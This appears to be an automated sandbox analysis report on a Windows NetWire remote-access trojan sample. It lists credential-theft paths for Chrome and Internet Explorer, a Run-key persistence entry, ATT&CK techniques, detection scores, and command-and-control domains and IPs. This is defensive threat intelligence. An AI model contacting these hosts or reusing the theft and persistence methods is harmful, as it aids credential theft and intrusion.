Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	2_1_0040DB1C
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	2_1_00406F83
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: 2_1_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	2_1_00406390
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_2_00406453
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	6_2_0040680D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	6_2_0040753D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_2_00413A85
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	6_2_0040DB1C
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	6_2_00406F83
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_2_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	6_2_00406390
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_1_00406453
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	6_1_0040680D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	6_1_0040753D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	6_1_00413A85
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	6_1_0040DB1C
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	6_1_00406F83
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 6_1_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	6_1_00406390
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	7_2_00405302
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_00405CD8 FindFirstFileA,FindClose,	7_2_00405CD8
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 7_2_0040263E FindFirstFileA,	7_2_0040263E
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00406453 MultiByteToWideChar,SetErrorMode,FindFirstFileW,FileTimeToSystemTime,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	9_2_00406453
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040680D SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,FindNextFileW,	9_2_0040680D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040753D MultiByteToWideChar,SetErrorMode,MultiByteToWideChar,wcscat,FindFirstFileW,FindClose,WideCharToMultiByte,MultiByteToWideChar,wcscat,WideCharToMultiByte,FindNextFileW,	9_2_0040753D
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00413A85 SetErrorMode,MultiByteToWideChar,FindFirstFileW,WideCharToMultiByte,WideCharToMultiByte,FindNextFileW,FindClose,	9_2_00413A85
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_0040DB1C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,	9_2_0040DB1C
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00406F83 SetErrorMode,FindFirstFileA,strcmp,strcmp,strcat,fopen,strncpy,fclose,strcpy,FindNextFileA,FindClose,	9_2_00406F83
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 9_2_00406390 FindFirstFileW,fopen,_snwprintf,fwprintf,_snwprintf,FindNextFileW,FindClose,fclose,	9_2_00406390

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_00406084 SetErrorMode,GetLogicalDriveStringsA,GetVolumeInformationA,GetDiskFreeSpaceExA,GetDriveTypeA,

2_2_00406084

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_004132E6 GetVersionExA,GetVersionExA,GetSystemInfo,GetSystemMetrics,

2_2_004132E6

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Thread delayed: delay time: 75000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: US1pwXib6h.exe, 00000002.00000002.622761524.0000000000738000.00000004.00000020.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 1_2_00405CFF GetModuleHandleA,LoadLibraryA,GetProcAddress,

1_2_00405CFF

Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 4_2_0019F83E mov eax, dword ptr fs:[00000030h]	4_2_0019F83E
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 4_2_0019F79E mov eax, dword ptr fs:[00000030h]	4_2_0019F79E
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: 4_2_0019F7DB mov eax, dword ptr fs:[00000030h]	4_2_0019F7DB

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Section loaded: unknown target: C:\Users\user\Desktop\US1pwXib6h.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Section loaded: unknown target: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Section loaded: unknown target: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe protection: execute and read and write	Jump to behavior

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_004121C0 keybd_event,

2_2_004121C0

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_004121EF SetCursorPos,mouse_event,

2_2_004121EF

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Process created: C:\Users\user\Desktop\US1pwXib6h.exe 'C:\Users\user\Desktop\US1pwXib6h.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Process created: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe 'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'	Jump to behavior

Source: US1pwXib6h.exe, 00000002.00000002.622988136.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: US1pwXib6h.exe, 00000002.00000002.622988136.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: US1pwXib6h.exe, 00000002.00000002.622988136.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: US1pwXib6h.exe, 00000002.00000002.622988136.0000000000FC0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_0040A115 GetLocalTime,

2_2_0040A115

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 2_2_004130E8 GetUserNameW,WideCharToMultiByte,

2_2_004130E8

Source: C:\Users\user\Desktop\US1pwXib6h.exe

Code function: 1_2_004059FF GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

1_2_004059FF

Stealing of Sensitive Information:

Contains functionality to steal Chrome passwords or cookies

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: %s\Google\Chrome\User Data\Default\Login Data	2_2_0040F281
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: %s\Chromium\User Data\Default\Login Data	2_2_0040F382
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: %s\Google\Chrome\User Data\Default\Login Data	2_1_0040F281
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: %s\Chromium\User Data\Default\Login Data	2_1_0040F382
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: %s\Google\Chrome\User Data\Default\Login Data	6_2_0040F281
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: %s\Chromium\User Data\Default\Login Data	6_2_0040F382
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: %s\Google\Chrome\User Data\Default\Login Data	6_1_0040F281
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: %s\Chromium\User Data\Default\Login Data	6_1_0040F382
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: %s\Google\Chrome\User Data\Default\Login Data	9_2_0040F281
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: %s\Chromium\User Data\Default\Login Data	9_2_0040F382

Contains functionality to steal Internet Explorer form passwords

Show sources

Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2	2_2_0040D745
Source: C:\Users\user\Desktop\US1pwXib6h.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2	2_1_0040D745
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2	6_2_0040D745
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2	6_1_0040D745
Source: C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2	9_2_0040D745

Remote Access Functionality:

Yara detected NetWire RAT

Show sources

Source: Yara match	File source: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.406739098.00000000023A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.395120542.00000000024E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000001.405669006.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.367065114.00000000024C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: US1pwXib6h.exe PID: 6476, type: MEMORY
Source: Yara match	File source: Process Memory Space: ioldfli.exe PID: 6768, type: MEMORY
Source: Yara match	File source: Process Memory Space: ioldfli.exe PID: 7088, type: MEMORY
Source: Yara match	File source: Process Memory Space: US1pwXib6h.exe PID: 6548, type: MEMORY
Source: Yara match	File source: Process Memory Space: ioldfli.exe PID: 7012, type: MEMORY
Source: Yara match	File source: Process Memory Space: ioldfli.exe PID: 6824, type: MEMORY
Source: Yara match	File source: 1.2.US1pwXib6h.exe.24c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.US1pwXib6h.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ioldfli.exe.24e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.ioldfli.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.US1pwXib6h.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.US1pwXib6h.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.ioldfli.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.US1pwXib6h.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.ioldfli.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ioldfli.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.ioldfli.exe.23a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ioldfli.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ioldfli.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.ioldfli.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ioldfli.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Registry Run Keys / Startup Folder1	Process Injection112	Deobfuscate/Decode Files or Information1	OS Credential Dumping2	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder1	Obfuscated Files or Information2	Input Capture141	Account Discovery1	Remote Desktop Protocol	Screen Capture1	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing21	Credentials In Files2	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture141	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading1	NTDS	System Information Discovery5	Distributed Component Object Model	Clipboard Data1	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion21	LSA Secrets	Security Software Discovery111	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol21	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection112	Cached Domain Credentials	Virtualization/Sandbox Evasion21	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
US1pwXib6h.exe	15%	Virustotal		Browse
US1pwXib6h.exe	27%	ReversingLabs	Win32.Backdoor.NetWiredRc
US1pwXib6h.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nst9B9A.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nst9B9A.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe	27%	ReversingLabs	Win32.Backdoor.NetWiredRc

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.0.US1pwXib6h.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
1.2.US1pwXib6h.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
1.2.US1pwXib6h.exe.24c0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.ioldfli.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
7.2.ioldfli.exe.23a0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.1.ioldfli.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen	Download File
2.2.US1pwXib6h.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen	Download File
6.0.ioldfli.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
2.0.US1pwXib6h.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
4.0.ioldfli.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
4.2.ioldfli.exe.24e0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.1.US1pwXib6h.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen	Download File
7.0.ioldfli.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
9.2.ioldfli.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen	Download File
6.2.ioldfli.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen	Download File
9.0.ioldfli.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
1.2.US1pwXib6h.exe.99d0000.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
4.2.ioldfli.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
9.1.ioldfli.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
netsecond.duckdns.org	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
ddns.dbcdubai.com:6577	0%	Avira URL Cloud	safe
netno.ddns.net:6577	0%	Avira URL Cloud	safe
http://www.yandex.comsocks=	0%	Avira URL Cloud	safe
netsecond.duckdns.org:6577	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
netsecond.duckdns.org	192.71.172.145	true	true	3%, Virustotal, Browse	unknown
ddns.dbcdubai.com	99.83.154.118	true	true		unknown
netno.ddns.net	192.71.172.145	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
ddns.dbcdubai.com:6577	true	Avira URL Cloud: safe	unknown
netno.ddns.net:6577	true	Avira URL Cloud: safe	unknown
netsecond.duckdns.org:6577	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.yandex.com	ioldfli.exe	false		high
http://nsis.sf.net/NSIS_Error	ioldfli.exe, ioldfli.exe, 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp, ioldfli.exe, 00000009.00000000.400385140.0000000000409000.00000008.00020000.sdmp, US1pwXib6h.exe	false		high
http://nsis.sf.net/NSIS_ErrorError	US1pwXib6h.exe	false		high
http://www.yandex.comsocks=	US1pwXib6h.exe, 00000001.00000002.367065114.00000000024C0000.00000004.00000001.sdmp, US1pwXib6h.exe, 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, ioldfli.exe, 00000004.00000002.395120542.00000000024E0000.00000004.00000001.sdmp, ioldfli.exe, 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, ioldfli.exe, 00000007.00000002.406739098.00000000023A0000.00000004.00000001.sdmp, ioldfli.exe, 00000009.00000001.405669006.0000000000400000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.71.172.145	netsecond.duckdns.org	Sweden		1299	TELIANETTeliaCarrierEU	true
99.83.154.118	ddns.dbcdubai.com	United States		16509	AMAZON-02US	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	435325
Start date:	16.06.2021
Start time:	12:17:51
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	US1pwXib6h.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/10@14/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 62.1% (good quality ratio 32.6%) Quality average: 42.7% Quality standard deviation: 44.4%
HCA Information:	Successful, ratio: 74% Number of executed functions: 77 Number of non-executed functions: 337
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.139.144, 131.253.33.200, 13.107.22.200, 23.211.6.115, 52.147.198.201, 20.82.209.183, 205.185.216.10, 205.185.216.42, 20.54.104.15, 40.112.88.60, 20.54.7.98, 80.67.82.211, 80.67.82.235, 23.211.4.86 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, cds.d2s7q6s2.hwcdn.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, dual-a-0001.dc-msedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:19:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run goqkksd C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
12:19:03	API Interceptor	13x Sleep call for process: US1pwXib6h.exe modified
12:19:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run goqkksd C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
12:19:09	API Interceptor	2x Sleep call for process: ioldfli.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
99.83.154.118	lTAPQJikGw.exe	Get hash	malicious	Browse	www.defenestration.world/p2io/?CFQHg=lrOqxb+RJFhwpubsYZ1tkMjkgx31NOkXgmE0j6vPa760pj23uu3lC+ndsaG2+azAf30S&Pr980v=G2MtWNVHS
	Letter 1019.xlsx	Get hash	malicious	Browse	www.defenestration.world/p2io/?9rx=lrOqxb+UJCh0p+XgaZ1tkMjkgx31NOkXgmck/5zOeb61pSaxp+mpU6ffv/qKl6HzQ2hiJA==&1bPx7=ifrhEpc0Hv8pf4
	WitNwYLlo9.exe	Get hash	malicious	Browse	www.polkaface.network/ja3b/?hFN=ECSUTdLZYyvinGuxW602g0mhH6E+mNbiPpMr3Rm0jNJJ/jQZLEblo9xFFzyyk5FaoEXR&0vuXs2=8pt8MNg0
	PROFORMA INVOICE PDF.exe	Get hash	malicious	Browse	www.copinginfula.trade/owws/?y8z=te8+upsAlz11VMhTIlAnFNqzP7h21ZncoD0/naXG+u8xg9oMIJdghVQVRMs3z6YMH4+L&UDKPKv=04i8JpzhsHVX
	Compliance - Notice 06-03.xlsx	Get hash	malicious	Browse	www.defenestration.world/p2io/?eXNPCd=lrOqxb+UJCh0p+XgaZ1tkMjkgx31NOkXgmck/5zOeb61pSaxp+mpU6ffv/qKl6HzQ2hiJA==&g48=Rzu8Zr0hP
	xgpUaKh6tH.dll	Get hash	malicious	Browse	networkspeed.live/judhygdfsvhvgytrdgflkijh
